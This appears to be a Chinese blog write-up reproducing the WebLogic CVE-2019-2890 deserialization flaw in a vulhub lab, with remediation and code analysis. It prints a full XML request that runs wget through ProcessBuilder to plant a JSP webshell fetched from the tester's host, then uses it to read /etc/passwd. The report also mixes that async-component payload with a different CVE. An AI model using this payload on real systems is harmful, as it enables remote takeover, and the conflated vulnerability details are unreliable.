首页 > 其他分享 >漏洞复现报告:CVE-2019-2890 反序列化漏洞

漏洞复现报告:CVE-2019-2890 反序列化漏洞

时间:2023-08-04 17:32:09浏览次数:75  
标签:http 2890 Server 漏洞 WebLogic Oracle 序列化

Oracle WebLogic Server漏洞研究报告

一、漏洞信息搜集

1.1 漏洞信息表

漏洞名称

Oracle WebLogic Server 反序列化漏洞

发布时间

2019年10月16日

漏洞编号

CVE-2019-2890

威胁类型

反序列化漏洞

危害级别

高危

影响版本

Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版本

漏洞描述

产品介绍:Oracle WebLogic Server是一款企业级的Java应用服务器,它作为Oracle Fusion Middleware产品套件的一部分,提供了强大的功能和性能,可用于构建、部署和管理大规模的Java应用和服务。

漏洞概述:该漏洞存在于Oracle WebLogic Server的WLS组件中,攻击者可以通过向服务器发送恶意构造的T3协议请求来触发漏洞,导致执行任意代码。

危害说明:获取系统敏感信息,篡改或删除数据,外部代码执行

漏洞指纹

常用端口/协议:7001端口/T3协议

请求参数/关键路径(漏洞入口):

漏洞验证与利用

POC:

EXP:

集成工具:

修复建议

正式修复方案:

临时修复方案:

参考链接

文章标题:链接






二、漏洞快速验证

2.1 漏洞靶机搭建

测试环境版本:WebLogic Server 10.3.6.0



方法一:使用vulhub搭建漏洞环境

1.安装docker和docker-compose

sudo apt-get install docker

sudo apt-get install python3-pip

pip3 install docker-compose

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化


2.下载vulhub开源靶场

git clone https://github.com/vulhub/vulhub.git

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_02


3.搭建CVE-2019-2890 漏洞环境

直接利用vulhub的漏洞,进入相应目录

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_03


访问http://192.168.1.124:7001/console/login/LoginForm.jsp

搭建成功

漏洞复现报告:CVE-2019-2890 反序列化漏洞_漏洞复现_04


2.2 POC漏洞验证

判断是否存在漏洞http://192.168.1.24:7001/_async/AsyncResponseService


漏洞复现报告:CVE-2019-2890 反序列化漏洞_Server_05



在当前文件所在目录用python开启web服务,命令:python3 -m http.server 11111

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_06


创建shell.txt文件

漏洞复现报告:CVE-2019-2890 反序列化漏洞_Server_07


访问web服务

漏洞复现报告:CVE-2019-2890 反序列化漏洞_漏洞复现_08


访问1.124:7001/_async/AsyncResponseService,截取数据包

将以下数据包,替换BP截取的数据包

POST /_async/AsyncResponseService HTTP/1.1

Host: you ip:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Connection: close

Content-Length: 858

content-type: text/xml


<soapenv:Envelope

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://web服务ip:端口/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

漏洞复现报告:CVE-2019-2890 反序列化漏洞_漏洞复现_09


访问shell


http://192.168.1.124:7001/_async/shell.jsp?pwd=123&cmd=cat/etc/passwd

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_10


三、漏洞利用实践

EXP 1:

https://github.com/l1nk3rlin/CVE-2019-2890

导入jar

漏洞复现报告:CVE-2019-2890 反序列化漏洞_weblogic_11


在响应中看到了返回的xml数据以及整个处理过程的调用栈

漏洞复现报告:CVE-2019-2890 反序列化漏洞_漏洞复现_12


可以看到处理过程最后调用了java.beans.XMLDecoder方法,该方法用于将XML数据反序列化为java对象,这里造成了无回显的命令执行


重写PersistenContext类

因为需要用到

漏洞复现报告:CVE-2019-2890 反序列化漏洞_weblogic_13


在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_14


绕过它,直接它注释掉。

漏洞复现报告:CVE-2019-2890 反序列化漏洞_weblogic_15





反序列化过程中有个解密过程,所以必须先加密,加密过程有个KernelStatus.isServer()的判断。

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_16


我们再次检查writeSubject函数,序列化时加密没有成功,跟进加密函数

漏洞复现报告:CVE-2019-2890 反序列化漏洞_Server_17


修改writeSubject()函数,但由于getEncryptionService属性为private,需再新建EncryptionUtil.class文件,并且getEncryptionService()函数属性改成public:

漏洞复现报告:CVE-2019-2890 反序列化漏洞_weblogic_18



漏洞复现报告:CVE-2019-2890 反序列化漏洞_weblogic_19


最后测试发送exp即可

漏洞复现报告:CVE-2019-2890 反序列化漏洞_漏洞复现_20


漏洞修复实践

4.1 修复方案

1:临时解决方案根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。


2.禁用 T3 协议:如果您不依赖 T3 协议进行JVM通信,可通过暂时阻断 T3 协议缓解此漏洞带来的影响。


4.2 修复方案:标准解决方案

官方补丁修复前往Oracle官网下载10月份所提供的安全补丁。

https://www.oracle.com/security-alerts/cpuoct2019.html


五、漏洞原理分析

漏洞原理分析

漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。

漏洞复现报告:CVE-2019-2890 反序列化漏洞_反序列化_21


查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。

漏洞复现报告:CVE-2019-2890 反序列化漏洞_漏洞复现_22





漏洞修复分析

更新补丁:Oracle已针对CVE-2019-2890漏洞发布了补丁,用户应及时下载并安装相关补丁。这些补丁会修复存在漏洞的WebLogic Server版本中的安全问题。


升级至受影响版本之外:如果已知的WebLogic Server版本存在固有的漏洞,而补丁尚未提供或不可行,建议用户升级至不受漏洞影响的最新版本或已修复版本。升级到较新的版本可以提供更多安全性和稳定性的增强。


配置网络访问控制:网络访问控制是一种有效的安全措施,可以限制对受影响WebLogic Server实例的访问。使用防火墙或网络级别的访问控制列表(ACL)可以限制对服务器的公开访问,并允许只有授权的用户或IP地址可以访问。


关闭不必要的服务和组件:根据实际需求,可以考虑关闭或禁用不必要的服务和组件,以减少潜在的攻击面。只开放需要公开访问的服务,并限制来自外部网络的流量。


加强身份验证和授权措施:确保正确配置和使用WebLogic Server中提供的身份验证和授权机制。强制要求用户使用强密码,并使用多因素身份验证等安全性增强功能。


持续监控和漏洞管理:定期检查相关漏洞公告和安全通知,保持对已知漏洞的感知。同时,建立漏洞管理流程,及时应用补丁和修复措施,并进行系统审计和漏洞扫描,以保持基础设施的安全性。



标签:http,2890,Server,漏洞,WebLogic,Oracle,序列化
From: https://blog.51cto.com/u_15854462/6965292

相关文章

  • Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
    AapacheTomcatAJP文件包含漏洞(CVE-2020-1938)【项目中遇到过】1.背景简述java是目前WEB开发中主流的编程语言,而Tomcat是当前流行的Java中间件服务器之一。Ghostcat(幽灵猫)是由长亭科技安全研究员发现的存在于Tomcat中的安全漏洞,由于TomcatAJP协议设计上存在缺陷,攻击者通......
  • php反序列化
    serialize() 函数用于序列化对象或数组,并返回一个字符串。unserialize()反序列化,将字符串转化为对象。通常见到调用外部文件,然后需要通过调用某个函数来执行最终得到flag。常见函数如下: ......
  • ActiveMQ任意文件写入漏洞(CVE-2016-3088)
    ActiveMQ任意文件写入漏洞(CVE-2016-3088)【现实项目遇到过】1.环境搭建cdvulhub-master/activemq/CVE-2016-3088docker-composeup-ddocker-composeconfig#查看靶场环境相关的配置信息docker-composedown#关闭靶场环境环境监听61616端口和8161端口,其中8......
  • CVE-2021-44228 Apache log4j2远程代码执行漏洞
     漏洞复现验证是否存在apachelog4j2漏洞https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0反弹shellbash-i>&/dev/tcp/ip/port0>&1将此命令进行javaruntimebash编码https://www.jackson-t.ca/runtime-exec-payloads.htmljava-jarjndi-injectio......
  • Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
    ConfluenceOGNL表达式注入命令执行漏洞(CVE-2022-26134)简介AtlassianConfluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。受影响版本......
  • web渗透测试(14):文件上传漏洞
    在本节中,我们将介绍如何使用文件上载功能来获取代码。 在Web应用程序(尤其是使用文件系统来确定应运行哪些代码的应用程序)中,如果您设法上传具有正确文件名的文件(通常取决于扩展名),则可以在服务器上执行代码。在本节中,我们将看到这些类型的攻击的基础知识。 首先,由于我们正在开......
  • 序列化器-Serializer
    序列化器-Serializer1定义序列化器DjangoRESTframework中的Serializer使用类来定义,须继承自rest_framework.serializers.Serializer。例如,我们已有了一个数据库模型类BookInfoclassBookInfo(models.Model):btitle=models.CharField(max_length=20,verbose_name='......
  • fastjson 1.2.80 漏洞浅析及利用payload
    0x01说明在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception期望类的子类中,绕过checkAuto。0x02简析{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{......
  • PHP反序列化例题以及Bypass总结
    unseping题目源码<?phphighlight_file(__FILE__);classease{private$method;private$args;function__construct($method,$args){$this->method=$method;$this->args=$args;}function__destruct(){......
  • C# 反序列化乱码
    从文件反序列化到对象时,发生乱码,基本就是文件中的编码与流转到对象时的编码不一致,如以下情况: xml文件为日文编码反序列化函数Deserialize的参数为StreamReader,而StreamReader的编码与文件编码不一致,这样就会出现乱码   解决方案:1.构造StreamReader对象的时候与文件编......